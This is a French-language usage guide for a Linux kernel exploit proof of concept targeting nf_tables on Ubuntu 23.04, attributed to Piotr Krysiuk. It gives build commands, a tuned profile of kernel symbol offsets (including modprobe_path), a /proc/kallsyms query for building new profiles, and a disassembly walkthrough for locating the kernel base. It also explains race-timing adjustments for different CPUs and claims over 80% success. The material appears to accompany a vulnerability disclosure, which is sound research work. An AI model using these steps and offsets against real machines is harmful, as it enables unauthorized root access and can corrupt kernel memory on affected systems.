
Usage personnel, l'auteur du PoC est Piotr Krysiuk, veuillez lire README.md avant utilisation
Les instructions ci-dessous ont été testées sous Ubuntu 23.04 (Lunar Lobster).
Exécutez la commande suivante pour installer les dépendances de construction :
sudo apt install gcc libmnl-dev libnftnl-dev
Exécutez la commande suivante pour compiler le binaire PoC :
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
Le profil intégré contient des paramètres spécifiques au noyau Linux distribué sous forme binaire dans les paquets suivants d'Ubuntu 23.04 (Lunar Lobster) :
Le profil intégré ressemble à ceci :
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Étapes facultatives pour remplacer le profil intégré lors des tests avec d'autres noyaux Linux :
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Pour trouver la base du noyau, nous examinons l'image nf_tables.ko dans la mémoire du noyau. Plus précisément, nous analysons le code machine de la sous-routine nft_counter_destroy(). Cela signifie que notre méthode est sensible au compilateur ainsi qu'aux options de compilation. Cependant, tous les cas courants peuvent être traités en remplaçant le profil intégré.
Par exemple, le code machine de la sous-routine nft_counter_destroy() peut ressembler à ceci :
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
Dans le cas ci-dessus, nous pouvons spécifier quelques paramètres en ajoutant les trois lignes ci-dessous au fichier de configuration "profile".
Premièrement, nous redéfinissons le décalage du dword précédant le déplacement free_percpu :
5 nft_counter_destroy_call_offset # hex
où la valeur 5 a été calculée à l'aide de l'expression (1e31d - 1e310) - 8.
Pour vérification, nous validons ensuite le dword au décalage ci-dessus en utilisant le masque suivant :
ffffffff nft_counter_destroy_call_mask # hex
en attendant la valeur suivante :
e9087e8b nft_counter_destroy_call_check # hex
Exploiter la vulnérabilité nécessite de gagner une course avec le thread de travail en arrière-plan du noyau Linux. Le profil intégré a été ajusté pour maximiser les chances de gagner cette course sur une large gamme de microprocesseurs Intel, y compris les Sandy Bridge mobiles et les Comet Lake de bureau. Cependant, certains microprocesseurs nécessitent un réglage supplémentaire. Par exemple, nous avons observé une latence accrue pour changer de tâche sous Alder Lake dans certaines configurations, où il peut être nécessaire d'ajouter la ligne suivante au fichier "profile" :
400 race_lead_sleep
Nous avons mesuré une probabilité de 80 % ou plus de réussir à exploiter la vulnérabilité dans nos tests utilisant des systèmes nus au repos.
Une fois le PoC démarré sur un système vulnérable, il peut laisser ce système dans un état instable avec une mémoire du noyau corrompue. Nous recommandons fortement de tester le PoC sur un système dédié pour éviter d'éventuelles corruptions de données.